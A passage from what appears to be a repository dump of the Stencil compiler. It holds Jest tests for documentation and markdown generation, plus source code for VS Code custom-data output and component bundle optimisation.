moduleMap: d.ModuleMap = new Map(); moduleMap.set('path/to/component.tsx', moduleCmpWithJsdoc); const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap); const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx); expect(generatedDocData.components).toHaveLength(1); const componentDocData = generatedDocData.components[0]; expect(componentDocData.overview).toBe('This is the overview of `my-component`'); }); it('sets the value to the empty string when there is no JSDoc', async () => { const moduleMap: d.ModuleMap = new Map(); moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc); const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap); const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx); expect(generatedDocData.components).toHaveLength(1); const componentDocData = generatedDocData.components[0]; expect(componentDocData.overview).toBe(''); }); }); describe('docs content', () => { it("sets the field's contents to the jsdoc text if present", async () => { const moduleMap: d.ModuleMap = new Map(); moduleMap.set('path/to/component.tsx', moduleCmpWithJsdoc); const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap); const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx); expect(generatedDocData.components).toHaveLength(1); const componentDocData = generatedDocData.components[0]; expect(componentDocData.docs).toBe('This is the overview of `my-component`'); }); it("sets the field's contents to an empty string if neither the readme, nor jsdoc are set", async () => { const moduleMap: d.ModuleMap = new Map(); moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc); const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap); const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx); expect(generatedDocData.components).toHaveLength(1); const componentDocData = generatedDocData.components[0]; expect(componentDocData.docs).toBe(''); }); it("sets the field's contents to an empty string if the readme doesn't contain the autogenerated comment", async () => { const moduleMap: d.ModuleMap = new Map(); moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc); const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap); await compilerCtx.fs.writeFile('readme.md', 'this is manually generated user content'); const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx); expect(generatedDocData.components).toHaveLength(1); const componentDocData = generatedDocData.components[0]; expect(componentDocData.docs).toBe(''); }); it("sets the field's contents to manually generated content when the autogenerated comment is present", async () => { const moduleMap: d.ModuleMap = new Map(); moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc); const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap); await compilerCtx.fs.writeFile( 'readme.md', `this is manually generated user content\n${AUTO_GENERATE_COMMENT}\nauto-generated content`, ); const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx); expect(generatedDocData.components).toHaveLength(1); const componentDocData = generatedDocData.components[0]; expect(componentDocData.docs).toBe('this is manually generated user content'); }); it("sets the field's contents to a subset of the manually generated content", async () => { const moduleMap: d.ModuleMap = new Map(); moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc); const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap); const readmeContent = ` this is manually generated user content # user header user content # another user header more user content ${AUTO_GENERATE_COMMENT} #some-header auto-generated content `; await compilerCtx.fs.writeFile('readme.md', readmeContent); const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx); expect(generatedDocData.components).toHaveLength(1); const componentDocData = generatedDocData.components[0]; expect(componentDocData.docs).toBe('this is manually generated user content'); }); it("sets the field's contents to a an empty string when the manually generated content starts with a '#'", async () => { const moduleMap: d.ModuleMap = new Map(); moduleMap.set('path/to/component.tsx', moduleCmpNoJsdoc); const { validatedConfig, compilerCtx, buildCtx } = setup(moduleMap); const readmeContent = ` # header that leads to skipping this is manually generated user content # user header user content # another user header more user content ${AUTO_GENERATE_COMMENT} #some-header auto-generated content `; await compilerCtx.fs.writeFile('readme.md', readmeContent); const generatedDocData = await generateDocData(validatedConfig, compilerCtx, buildCtx); expect(generatedDocData.components).toHaveLength(1); const componentDocData = generatedDocData.components[0]; expect(componentDocData.docs).toBe(''); }); }); }); describe('getDocsStyles', () => { it('returns an empty array if no styleDocs exist on the compiler metadata', () => { const compilerMeta = stubComponentCompilerMeta(); // @ts-ignore - the intent of this test is to verify allocation of a new array if for some reason this is missing compilerMeta.styleDocs = null; const actual = getDocsStyles(compilerMeta); expect(actual).toEqual([]); }); it('returns an empty array if empty styleDocs exist on the compiler metadata', () => { const compilerMeta = stubComponentCompilerMeta({ styleDocs: [] }); const actual = getDocsStyles(compilerMeta); expect(actual).toEqual([]); }); it("returns a 'sorted' array of one CompilerStyleDoc", () => { const compilerStyleDoc: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are the docs for this prop', name: 'my-style-one', mode: 'md', }; const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDoc] }); const actual = getDocsStyles(compilerMeta); expect(actual).toEqual([compilerStyleDoc]); }); it('returns a sorted array from multiple CompilerStyleDoc', () => { const compilerStyleDocOne: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are the docs for my-style-a', name: 'my-style-a', mode: 'ios', }; const compilerStyleDocTwo: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are more docs for my-style-b', name: 'my-style-b', mode: 'ios', }; const compilerStyleDocThree: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are more docs for my-style-c', name: 'my-style-c', mode: 'ios', }; const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDocOne, compilerStyleDocThree, compilerStyleDocTwo], }); const actual = getDocsStyles(compilerMeta); expect(actual).toEqual([compilerStyleDocOne, compilerStyleDocTwo, compilerStyleDocThree]); }); it('returns a sorted array from based on mode for the same name', () => { const mdCompilerStyle: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are the docs for my-style-a', name: 'my-style-a', mode: 'md', }; const iosCompilerStyle: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are the docs for my-style-a', name: 'my-style-a', mode: 'ios', }; const compilerMeta = stubComponentCompilerMeta({ styleDocs: [mdCompilerStyle, iosCompilerStyle], }); const actual = getDocsStyles(compilerMeta); expect(actual).toEqual([iosCompilerStyle, mdCompilerStyle]); }); }); it("returns CompilerStyleDoc with the same name in the order they're provided", () => { const compilerStyleDocOne: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are the docs for my-style-a (first lowercase)', name: 'my-style-a', mode: 'ios', }; const compilerStyleDocTwo: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are more docs for my-style-A (only capital)', name: 'my-style-A', mode: 'ios', }; const compilerStyleDocThree: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are more docs for my-style-a (second lowercase)', name: 'my-style-a', mode: 'ios', }; const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDocOne, compilerStyleDocThree, compilerStyleDocTwo], }); const actual = getDocsStyles(compilerMeta); expect(actual).toEqual([compilerStyleDocOne, compilerStyleDocThree, compilerStyleDocTwo]); }); describe('default values', () => { it.each(['', null, undefined])( "defaults the annotation to an empty string if '%s' is provided", (annotationValue) => { const compilerStyleDoc: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are the docs for this prop', name: 'my-style-one', mode: DEFAULT_STYLE_MODE, }; // @ts-ignore the intent of this test to verify the fallback of this field if it's falsy compilerStyleDoc.annotation = annotationValue; const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDoc] }); const actual = getDocsStyles(compilerMeta); expect(actual).toEqual([ { annotation: '', docs: 'these are the docs for this prop', name: 'my-style-one', }, ]); }, ); it.each(['', null, undefined])("defaults the docs to an empty string if '%s' is provided", (docsValue) => { const compilerStyleDoc: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are the docs for this prop', name: 'my-style-one', mode: DEFAULT_STYLE_MODE, }; // @ts-ignore the intent of this test to verify the fallback of this field if it's falsy compilerStyleDoc.docs = docsValue; const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDoc] }); const actual = getDocsStyles(compilerMeta); expect(actual).toEqual([ { annotation: 'prop', docs: '', name: 'my-style-one', }, ]); }); it.each(['', undefined, null, DEFAULT_STYLE_MODE])( "uses 'undefined' for the mode value when '%s' is provided", (modeValue) => { const compilerStyleDoc: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are the docs for this prop', name: 'my-style-one', // we intentionally set this to non-compliant types for the purpose of this test, hence the type assertion mode: modeValue as unknown as string, }; const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDoc] }); const actual = getDocsStyles(compilerMeta); expect(actual).toEqual([ { annotation: 'prop', docs: 'these are the docs for this prop', name: 'my-style-one', mode: undefined, }, ]); }, ); it('uses the mode value, when a valid string is provided', () => { const compilerStyleDoc: d.CompilerStyleDoc = { annotation: 'prop', docs: 'these are the docs for this prop', name: 'my-style-one', mode: 'valid-string', }; const compilerMeta = stubComponentCompilerMeta({ styleDocs: [compilerStyleDoc] }); const actual = getDocsStyles(compilerMeta); expect(actual).toEqual([ { annotation: 'prop', docs: 'these are the docs for this prop', name: 'my-style-one', mode: 'valid-string', }, ]); }); }); }); ================================================ FILE: src/compiler/docs/test/markdown-dependencies.spec.ts ================================================ import type * as d from '../../../declarations'; import { DEFAULT_TARGET_COMPONENT_STYLES } from '../../config/constants'; import { depsToMarkdown } from '../readme/markdown-dependencies'; describe('depsToMarkdown()', () => { it('should use default settings if docs.markdown configuration was not provided', () => { const mockConfig = { docs: { markdown: { targetComponent: { ...DEFAULT_TARGET_COMPONENT_STYLES, }, }, }, } as d.ValidatedConfig; const md = depsToMarkdown( { dependencies: [], dependencyGraph: { 's-test': ['s-test-dep1'], }, dependents: [], docs: '', docsTags: [], encapsulation: undefined, events: [], listeners: [], methods: [], parts: [], customStates: [], props: [], readme: '', slots: [], styles: [], tag: '', usage: undefined, }, [], mockConfig, ); expect(md).toEqual([ '## Dependencies', '', '### Graph', '```mermaid', 'graph TD;', ' s-test --> s-test-dep1', ` style fill:${DEFAULT_TARGET_COMPONENT_STYLES.background},stroke:${DEFAULT_TARGET_COMPONENT_STYLES.textColor},stroke-width:4px`, '```', '', ]); }); it('should use provided background settings for generated dependencies graph', () => { const mockColor = '#445334'; const mockConfig = { docs: { markdown: { targetComponent: { background: mockColor, textColor: DEFAULT_TARGET_COMPONENT_STYLES.textColor, }, }, }, } as d.ValidatedConfig; const md = depsToMarkdown( { dependencies: [], dependencyGraph: { 's-test': ['s-test-dep1'], }, dependents: [], docs: '', docsTags: [], encapsulation: undefined, events: [], listeners: [], methods: [], parts: [], customStates: [], props: [], readme: '', slots: [], styles: [], tag: '', usage: undefined, }, [], mockConfig, ); expect(md).toEqual([ '## Dependencies', '', '### Graph', '```mermaid', 'graph TD;', ' s-test --> s-test-dep1', ` style fill:${mockColor},stroke:${DEFAULT_TARGET_COMPONENT_STYLES.textColor},stroke-width:4px`, '```', '', ]); }); it('should use provided text color settings for generated dependencies graph', () => { const mockColor = '#445334'; const mockConfig = { docs: { markdown: { targetComponent: { background: DEFAULT_TARGET_COMPONENT_STYLES.background, textColor: mockColor, }, }, }, } as d.ValidatedConfig; const md = depsToMarkdown( { dependencies: [], dependencyGraph: { 's-test': ['s-test-dep1'], }, dependents: [], docs: '', docsTags: [], encapsulation: undefined, events: [], listeners: [], methods: [], parts: [], customStates: [], props: [], readme: '', slots: [], styles: [], tag: '', usage: undefined, }, [], mockConfig, ); expect(md).toEqual([ '## Dependencies', '', '### Graph', '```mermaid', 'graph TD;', ' s-test --> s-test-dep1', ` style fill:${DEFAULT_TARGET_COMPONENT_STYLES.background},stroke:${mockColor},stroke-width:4px`, '```', '', ]); }); }); ================================================ FILE: src/compiler/docs/test/markdown-overview.spec.ts ================================================ import { overviewToMarkdown } from '../readme/markdown-overview'; describe('markdown-overview', () => { describe('overviewToMarkdown', () => { it('returns no overview if no docs exist', () => { const generatedOverview = overviewToMarkdown('').join('\n'); expect(generatedOverview).toBe(''); }); it('generates a single line overview', () => { const generatedOverview = overviewToMarkdown('This is a custom button component').join('\n'); expect(generatedOverview).toBe(`## Overview This is a custom button component `); }); it('generates a multi-line overview', () => { const description = `This is a custom button component. It is to be used throughout the design system. This is a comment followed by a newline. `; const generatedOverview = overviewToMarkdown(description).join('\n'); expect(generatedOverview).toBe(`## Overview This is a custom button component. It is to be used throughout the design system. This is a comment followed by a newline. `); }); it('trims all leading newlines & leaves one at the end', () => { const description = ` This is a custom button component. `; const generatedOverview = overviewToMarkdown(description).join('\n'); expect(generatedOverview).toBe(`## Overview This is a custom button component. `); }); }); }); ================================================ FILE: src/compiler/docs/test/markdown-props.spec.ts ================================================ import { propsToMarkdown } from '../../docs/readme/markdown-props'; describe('markdown props', () => { it('advanced union types', () => { const markdown = propsToMarkdown([ { name: 'hello', attr: 'hello', docs: 'This is a prop', default: 'false', type: 'boolean | string', mutable: false, optional: false, required: false, reflectToAttr: false, docsTags: [], values: [], getter: false, setter: false, }, { name: 'hello', attr: undefined, docs: 'This is a prop', default: 'false', type: 'boolean | string', mutable: false, optional: false, required: false, reflectToAttr: false, docsTags: [], values: [], getter: false, setter: false, }, ]).join('\n'); expect(markdown).toEqual(`## Properties | Property | Attribute | Description | Type | Default | | -------- | --------- | -------------- | ------------------- | ------- | | \`hello\` | \`hello\` | This is a prop | \`boolean \\| string\` | \`false\` | | \`hello\` | -- | This is a prop | \`boolean \\| string\` | \`false\` | `); }); it('escapes template literal types', () => { const markdown = propsToMarkdown([ { name: 'width', attr: 'width', docs: 'Width of the button', default: 'undefined', type: '`${number}px` | `${number}%`', mutable: false, optional: false, required: false, reflectToAttr: false, docsTags: [], values: [], getter: false, setter: false, }, ]).join('\n'); expect(markdown).toEqual(`## Properties | Property | Attribute | Description | Type | Default | | -------- | --------- | ------------------- | ----------------------------------- | ----------- | | \`width\` | \`width\` | Width of the button | \`\` \`\${number}px\` \\| \`\${number}%\` \`\` | \`undefined\` | `); }); it('escapes backticks in default value', () => { const markdown = propsToMarkdown([ { name: 'quote', attr: 'quote', docs: 'Quote character', default: "'`'", type: 'string', mutable: false, optional: false, required: false, reflectToAttr: false, docsTags: [], values: [], getter: false, setter: false, }, ]).join('\n'); expect(markdown).toEqual(`## Properties | Property | Attribute | Description | Type | Default | | -------- | --------- | --------------- | -------- | --------- | | \`quote\` | \`quote\` | Quote character | \`string\` | \`\` '\`' \`\` | `); }); it('outputs `undefined` in default column when `prop.default` is undefined', () => { const markdown = propsToMarkdown([ { name: 'first', attr: 'first', docs: 'First name', default: undefined, type: 'string', mutable: false, optional: false, required: false, reflectToAttr: false, docsTags: [], values: [], getter: false, setter: false, }, ]).join('\n'); expect(markdown).toBe(`## Properties | Property | Attribute | Description | Type | Default | | -------- | --------- | ----------- | -------- | ----------- | | \`first\` | \`first\` | First name | \`string\` | \`undefined\` | `); }); }); ================================================ FILE: src/compiler/docs/test/output-docs.spec.ts ================================================ import type * as d from '../../../declarations'; import { generateMarkdown } from '../readme/output-docs'; describe('css-props to markdown', () => { describe('generateMarkdown', () => { const mockReadmeOutput: d.OutputTargetDocsReadme = { type: 'docs-readme', footer: '*Built with StencilJS*', }; const mockComponent: d.JsonDocsComponent = { tag: 'my-component', filePath: 'src/components/my-component/my-component.tsx', fileName: 'my-component.tsx', dirPath: 'src/components/my-component', readmePath: 'src/components/my-component/readme.md', usagesDir: 'src/components/my-component/usage', encapsulation: 'shadow', docs: '', docsTags: [], usage: {}, props: [], methods: [], events: [], listeners: [], styles: [], slots: [], parts: [], dependents: [], dependencies: [], dependencyGraph: {}, customStates: [], readme: '', }; it.each([ { name: 'component styles when available', componentStyles: [ { name: '--background', docs: 'Background color', annotation: 'prop' as const, mode: undefined }, { name: '--color', docs: 'Text color', annotation: 'prop' as const, mode: undefined }, ], shouldContain: ['## CSS Custom Properties', '`--background`', 'Background color', '`--color`', 'Text color'], shouldNotContain: [], }, { name: 'preserved CSS props (already in component.styles)', componentStyles: [ { name: '--bg', docs: 'Defaults to var(--nano-color-blue-cerulean-1000);', annotation: 'prop' as const, mode: undefined, }, { name: '--text-color', docs: 'Text color of the component', annotation: 'prop' as const, mode: undefined }, ], shouldContain: ['## CSS Custom Properties', '`--bg`', 'Defaults to var(--nano-color-blue-cerulean-1000);'], shouldNotContain: [], }, { name: 'no CSS section when styles are empty', componentStyles: [], shouldContain: [], shouldNotContain: ['## CSS Custom Properties'], }, { name: 'updated component styles', componentStyles: [ { name: '--new-prop', docs: 'New property from build', annotation: 'prop' as const, mode: undefined }, ], shouldContain: ['`--new-prop`', 'New property from build'], shouldNotContain: [], }, ])('should use $name', ({ componentStyles, shouldContain, shouldNotContain }) => { const component: d.JsonDocsComponent = { ...mockComponent, styles: componentStyles, }; const markdown = generateMarkdown('# my-component', component, [], mockReadmeOutput); shouldContain.forEach((expected) => { expect(markdown).toContain(expected); }); shouldNotContain.forEach((unexpected) => { expect(markdown).not.toContain(unexpected); }); }); it('should escape special characters in CSS prop descriptions', () => { const component: d.JsonDocsComponent = { ...mockComponent, styles: [ { name: '--bg', docs: 'Defaults to var(--nano-color-blue-cerulean-1000); with | pipes', annotation: 'prop', mode: undefined, }, ], }; const markdown = generateMarkdown('# my-component', component, [], mockReadmeOutput); // Pipe characters are escaped in markdown tables expect(markdown).toContain('Defaults to var(--nano-color-blue-cerulean-1000); with \\| pipes'); }); }); }); ================================================ FILE: src/compiler/docs/test/style-docs.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { DEFAULT_STYLE_MODE } from '@utils'; import { parseStyleDocs } from '../style-docs'; describe('style-docs', () => { let styleDocs: d.StyleDoc[]; beforeEach(() => { styleDocs = []; }); it('no docs', () => { const styleText = ` /** * @prop --max-width */ body { color: red; } `; parseStyleDocs(styleDocs, styleText); expect(styleDocs).toEqual([{ name: `--max-width`, docs: ``, annotation: 'prop' }]); }); it('multiline', () => { const styleText = ` /** * @prop --color: This is the docs * for color. @prop --background : This is the docs for background. It is two * sentences and some :: man. */ body { color: red; } `; parseStyleDocs(styleDocs, styleText); expect(styleDocs).toEqual([ { name: `--color`, docs: `This is the docs for color.`, annotation: 'prop' }, { name: `--background`, docs: `This is the docs for background. It is two sentences and some :: man.`, annotation: 'prop', }, ]); }); it('docs', () => { const styleText = ` /** * @prop --max-width: Max width of the alert * @prop --color: Descript with : in it * * @prop --background: background docs @prop --font-weight: font-weight docs */ html { height: 100%; } /** * @prop --border: border docs * @prop --font-size: font-size docs */ /** @prop --padding: padding docs */ body { color: red; } `; parseStyleDocs(styleDocs, styleText); expect(styleDocs).toEqual([ { name: `--max-width`, docs: `Max width of the alert`, annotation: 'prop' }, { name: `--color`, docs: `Descript with : in it`, annotation: 'prop' }, { name: `--background`, docs: `background docs`, annotation: 'prop' }, { name: `--font-weight`, docs: `font-weight docs`, annotation: 'prop' }, { name: `--border`, docs: `border docs`, annotation: 'prop' }, { name: `--font-size`, docs: `font-size docs`, annotation: 'prop' }, { name: `--padding`, docs: `padding docs`, annotation: 'prop' }, ]); }); it('invalid css prop comment', () => { const styleText = ` /** * hello * @prop max-width: Max width of the alert * --max-width: Max width of the alert */ /* * @prop --max-width */ /* hi i'm normal comments */ body { color: red; } `; parseStyleDocs(styleDocs, styleText); expect(styleDocs).toEqual([]); }); it('no closing comments', () => { const styleText = ` /** body { color: red; } `; parseStyleDocs(styleDocs, styleText); expect(styleDocs).toEqual([]); }); it('no comments', () => { const styleText = ` body { color: red; } `; parseStyleDocs(styleDocs, styleText); expect(styleDocs).toEqual([]); }); it('empty styleText', () => { const styleText = ``; parseStyleDocs(styleDocs, styleText); expect(styleDocs).toEqual([]); }); it('null styleText', () => { const styleText: null = null; parseStyleDocs(styleDocs, styleText); expect(styleDocs).toEqual([]); }); it('works with sass loud comments', () => { const styleText = ` /*! * @prop --max-width: Max width of the alert */ body { color: red; } `; parseStyleDocs(styleDocs, styleText); expect(styleDocs).toEqual([{ name: `--max-width`, docs: `Max width of the alert`, annotation: 'prop' }]); }); it('works with multiple, mixed comment types', () => { const styleText = ` /** * @prop --max-width: Max width of the alert */ /*! * @prop --max-width-loud: Max width of the alert (loud) */ body { color: red; } `; parseStyleDocs(styleDocs, styleText); expect(styleDocs).toEqual([ { name: `--max-width`, docs: `Max width of the alert`, annotation: 'prop' }, { name: `--max-width-loud`, docs: `Max width of the alert (loud)`, annotation: 'prop' }, ]); }); it.each(['ios', 'md', undefined, '', DEFAULT_STYLE_MODE])("attaches mode metadata for a style mode '%s'", (mode) => { const styleText = ` /*! * @prop --max-width: Max width of the alert */ body { color: red; } `; parseStyleDocs(styleDocs, styleText, mode); expect(styleDocs).toEqual([{ name: `--max-width`, docs: `Max width of the alert`, annotation: 'prop', mode }]); }); }); ================================================ FILE: src/compiler/docs/test/tsconfig.json ================================================ { "extends": "../../../testing/tsconfig.internal.json" } ================================================ FILE: src/compiler/docs/vscode/index.ts ================================================ import { isOutputTargetDocsVscode, join } from '@utils'; import type * as d from '../../../declarations'; import { getNameText } from '../generate-doc-data'; /** * Generate [custom data](https://github.com/microsoft/vscode-custom-data) to augment existing HTML types in VS Code. * This function writes the custom data as a JSON file to disk, which can be used in VS Code to inform the IDE about * custom elements generated by Stencil. * * The JSON generated by this function must conform to the * [HTML custom data schema](https://github.com/microsoft/vscode-html-languageservice/blob/e7ae8a7170df5e721a13cee1b86e293b24eb3b20/docs/customData.schema.json). * * This function generates custom data for HTML only at this time (it does not generate custom data for CSS). * * @param compilerCtx the current compiler context * @param docsData an intermediate representation documentation derived from compiled Stencil components * @param outputTargets the output target(s) the associated with the current build */ export const generateVscodeDocs = async ( compilerCtx: d.CompilerCtx, docsData: d.JsonDocs, outputTargets: d.OutputTarget[], ): Promise => { const vsCodeOutputTargets = outputTargets.filter(isOutputTargetDocsVscode); if (vsCodeOutputTargets.length === 0) { return; } await Promise.all( vsCodeOutputTargets.map(async (outputTarget: d.OutputTargetDocsVscode): Promise => { const json = { /** * the 'version' top-level field is required by the schema. changes to the JSON generated by Stencil must: * - comply with v1.X of the schema _OR_ * - increment this field as a part of updating the JSON generation. This should be considered a breaking change * * {@link https://github.com/microsoft/vscode-html-languageservice/blob/e7ae8a7170df5e721a13cee1b86e293b24eb3b20/src/htmlLanguageTypes.ts#L184} */ version: 1.1, tags: docsData.components.map((cmp: d.JsonDocsComponent) => ({ name: cmp.tag, description: { kind: 'markdown', value: cmp.docs, }, attributes: cmp.props .filter((p: d.JsonDocsProp): p is DocPropWithAttribute => p.attr !== undefined && p.attr.length > 0) .map(serializeAttribute), references: getReferences(cmp, outputTarget.sourceCodeBaseUrl), })), }; // fields in the custom data may have a value of `undefined`. calling `stringify` will remove such fields. const jsonContent = JSON.stringify(json, null, 2); await compilerCtx.fs.writeFile(outputTarget.file, jsonContent); }), ); }; /** * This type describes external references for a custom element. * * An internal representation of Microsoft/VS Code's [`IReference` type](https://github.com/microsoft/vscode-html-languageservice/blob/e7ae8a7170df5e721a13cee1b86e293b24eb3b20/src/htmlLanguageTypes.ts#L153). */ type TagReference = { name: string; url: string; }; /** * Generate a 'references' section for a component's documentation. * @param cmp the Stencil component to generate a references section for * @param repoBaseUrl an optional URL, that when provided, will add a reference to the source code for the component * @returns the generated references section, or undefined if no references could be generated */ const getReferences = (cmp: d.JsonDocsComponent, repoBaseUrl: string | undefined): TagReference[] | undefined => { // collect any `@reference` JSDoc tags on the component const references = getNameText('reference', cmp.docsTags).map(([name, url]) => ({ name, url })); if (repoBaseUrl) { references.push({ name: 'Source code', url: join(repoBaseUrl, cmp.filePath ?? ''), }); } if (references.length > 0) { return references; } return undefined; }; /** * A type that describes the attributes that can be used with a custom element. * * An internal representation of Microsoft/VS Code's [`IAttributeData` type](https://github.com/microsoft/vscode-html-languageservice/blob/e7ae8a7170df5e721a13cee1b86e293b24eb3b20/src/htmlLanguageTypes.ts#L165). */ type AttributeData = { name: string; description: string; values?: { name: string }[]; }; /** * Utility that provides a type-safe way of making a key K on a type T required. * * This is preferable than using an intersection of `T & {K: someType}` as it ensures that: * - the type of K will always match the type T[K] * - it should error should K not exist in `keyof T` */ type WithRequired = T & { [P in K]-?: T[P] }; /** * A `@Prop` documentation type with a required 'attr' field */ type DocPropWithAttribute = WithRequired; /** * Serialize a component's class member decorated with `@Prop` to be written to disk * @param prop the intermediate representation of the documentation to serialize * @returns the serialized data */ const serializeAttribute = (prop: DocPropWithAttribute): AttributeData => { const attribute: AttributeData = { name: prop.attr, description: prop.docs, }; const values = prop.values .filter( (jsonDocValue: d.JsonDocsValue): jsonDocValue is Required => jsonDocValue.type === 'string' && jsonDocValue.value !== undefined, ) .map((jsonDocValue: Required) => ({ name: jsonDocValue.value })); if (values.length > 0) { attribute.values = values; } return attribute; }; ================================================ FILE: src/compiler/entries/component-bundles.ts ================================================ import { sortBy } from '@utils'; import type * as d from '../../declarations'; import { getDefaultBundles } from './default-bundles'; /** * Generate a list of all component tags that will be used by the output * * If the user has set the {@link d.Config.excludeUnusedDependencies} option * to `false` then this simply returns all components. * * Else, this takes {@link d.ComponentCompilerMeta} objects which are being * used in the current output and then ensures that all used components as well * as their dependencies are present. * * @param config the Stencil configuration used for the build * @param defaultBundles metadata of the assumed components being used/bundled * @param allCmps all known components * @returns a set of all component tags that are used */ function computeUsedComponents( config: d.ValidatedConfig, defaultBundles: readonly d.ComponentCompilerMeta[][], allCmps: readonly d.ComponentCompilerMeta[], ): Set { if (!config.excludeUnusedDependencies) { // the user/config has specified that Stencil should use all the dependencies it's found, return the set of all // known tags return new Set(allCmps.map((c: d.ComponentCompilerMeta) => c.tagName)); } const usedComponents = new Set(); // All components defaultBundles.forEach((entry: readonly d.ComponentCompilerMeta[]) => { entry.forEach((cmp: d.ComponentCompilerMeta) => usedComponents.add(cmp.tagName)); }); allCmps.forEach((cmp: d.ComponentCompilerMeta) => { if (!cmp.isCollectionDependency) { usedComponents.add(cmp.tagName); } }); allCmps.forEach((cmp: d.ComponentCompilerMeta) => { if (cmp.isCollectionDependency) { if (cmp.dependents.some((dep: string) => usedComponents.has(dep))) { usedComponents.add(cmp.tagName); } } }); return usedComponents; } /** * Generate the bundles that will be used during the bundling process * * This gathers information about all of the components used in the build, * including the bundles which will be included by default, and then returns a * deduplicated list of all the bundles which need to be present. * * @param config the Stencil configuration used for the build * @param buildCtx the current build context * @returns the bundles to be used during the bundling process */ export function generateComponentBundles( config: d.ValidatedConfig, buildCtx: d.BuildCtx, ): readonly d.ComponentCompilerMeta[][] { const components = sortBy(buildCtx.components, (cmp: d.ComponentCompilerMeta) => cmp.dependents.length); const defaultBundles = getDefaultBundles(config, buildCtx, components); // this is most likely all the components const usedComponents = computeUsedComponents(config, defaultBundles, components); if (config.devMode) { // return only components used in the build return components .filter((c: d.ComponentCompilerMeta) => usedComponents.has(c.tagName)) .map((cmp: d.ComponentCompilerMeta) => [cmp]); } // Visit components that are already in one of the default bundles const alreadyBundled = new Set(); defaultBundles.forEach((entry: readonly d.ComponentCompilerMeta[]) => { entry.forEach((cmp: d.ComponentCompilerMeta) => alreadyBundled.add(cmp)); }); const bundlers: readonly d.ComponentCompilerMeta[][] = components .filter((cmp: d.ComponentCompilerMeta) => usedComponents.has(cmp.tagName) && !alreadyBundled.has(cmp)) .map((c: d.ComponentCompilerMeta) => [c]); return [...defaultBundles, ...optimizeBundlers(bundlers, 0.6)].filter( (b: readonly d.ComponentCompilerMeta[]) => b.length > 0, ); } /** * Calculate and reorganize bundles based on a calculated similarity score between bundle entries * @param bundles the bundles to reorganize * @param threshold a numeric value used to determine whether or not bundles should be reorganized * @returns the reorganized bundles */ function optimizeBundlers( bundles: readonly d.ComponentCompilerMeta[][], threshold: number, ): readonly d.ComponentCompilerMeta[][] { /** * build a mapping of component tag names in each `bundles` entry to the index where that entry occurs in `bundles`: * ```ts * bundles = [ * [ * { * tagName: 'my-foo', ..., * }, * ], * [ * { * tagName: 'my-bar', ..., * }, * { * tagName: 'my-baz', ..., * }, * ], * ]; * // yields * { * 'my-foo': 0, * 'my-bar': 1, * 'my-baz': 1, * } * ``` * note that in the event of a component being found >1 time, store the index of the last entry in which it's found */ const cmpIndexMap = new Map(); bundles.forEach((entry: readonly d.ComponentCompilerMeta[], index: number) => { entry.forEach((cmp: d.ComponentCompilerMeta) => { cmpIndexMap.set(cmp.tagName, index); }); }); // build a record of components const matrix: readonly Uint8Array[] = bundles.map((entry: readonly d.ComponentCompilerMeta[]) => { const vector = new Uint8Array(bundles.length); entry.forEach((cmp: d.ComponentCompilerMeta) => { // for each dependent of a component, check to see if the dependent has been seen already when the `cmpIndexMap` // was originally built. If so, mark it with a '1' cmp.dependents.forEach((tag: string) => { const index = cmpIndexMap.get(tag); if (index !== undefined) { vector[index] = 1; } }); }); entry.forEach((cmp: d.ComponentCompilerMeta) => { // for each entry, check to see if the component has been seen already when the `cmpIndexMap` was originally // built. If so, mark it with a '0', potentially overriding a previously set value on the vector. const index = cmpIndexMap.get(cmp.tagName); if (index !== undefined) { vector[index] = 0; } }); return vector; }); // resolve similar components const newBundles: d.ComponentCompilerMeta[][] = []; const visited = new Uint8Array(bundles.length); for (let i = 0; i < matrix.length; i++) { // check if bundle is visited (0 means it's not) if (visited[i] === 0) { const bundle = [...bundles[i]]; visited[i] = 1; for (let j = i + 1; j < matrix.length; j++) { if (visited[j] === 0 && computeScore(matrix[i], matrix[j]) >= threshold) { bundle.push(...bundles[j]); visited[j] = 1; } } newBundles.push(bundle); } } return newBundles; } /** * Computes a 'score' between two arrays, that is defined as the number of times that the value at a given index is the * same in both arrays divided by the number of times the value in either array is high at the given index. * @param m0 the first array to calculate sameness with * @param m1 the second array to calculate sameness with * @returns the calculated score */ function computeScore(m0: Uint8Array, m1: Uint8Array): number { let total = 0; let match = 0; for (let i = 0; i < m0.length; i++) { if (m0[i] === 1 || m1[i] === 1) { total++; if (m0[i] === m1[i]) { match++; } } } return match / total; } ================================================ FILE: 